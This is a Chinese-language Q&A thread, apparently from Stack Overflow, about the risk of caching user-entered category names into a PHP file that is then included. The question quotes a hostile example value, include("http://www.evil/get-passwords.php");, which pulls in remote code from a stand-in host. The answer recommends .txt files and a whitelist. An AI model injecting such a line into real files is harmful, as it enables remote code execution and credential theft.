2014-11-06 45 views
0

用戶在mysql中寫入類別(nameurl)。Php。用戶可以在文件中寫入數據,並且包含文件

在每次寫入/更改nameurl時,我打算在服務器上寫入txt或php文件。針對每個頁面重新加載而不是連接到mysql,只是包含txt或php文件。

現在我想象一種情況。例如,用戶作爲name類別寫東西include("http://www.evil/get-passwords.php");因此,在txt或php文件中,我可能有這樣的代碼,當在PHP中包含的代碼將執行?

如何防止這種情況?只允許某些字符用於某個類別的名稱?

+1

1)沒有必要不連接到數據庫。數據庫連接的硬件要求很少且可以忽略。 – David162795 2014-11-06 10:10:28

+0

2)如果你仍然想,不管怎樣,看看觸發器,以及如何在mysql中選擇outfile。 – David162795 2014-11-06 10:11:52

+0

3)如何讀取PHP中的數據,而不是被想要黑客攻擊?學習PHP基礎知識。 – David162795 2014-11-06 10:12:57

回答

1

你打算讓用戶寫入.php文件嗎?這不是一個好主意。
如果你真的需要這個,讓他們寫在簡單的.txt文件(並仔細檢查,Apache不會解析txtphp)。

對於消毒,共同apporach是寫一個允許列表(白名單):

$allowedName = array(
     'name1', 
     'name2', 
     'name3' 
     // ... 
    ); 

然後,當用戶輸入您可以檢查:

if (!in_array($_POST['userName'], $allowedName)) 
    die('Not Allowed'); 
相關問題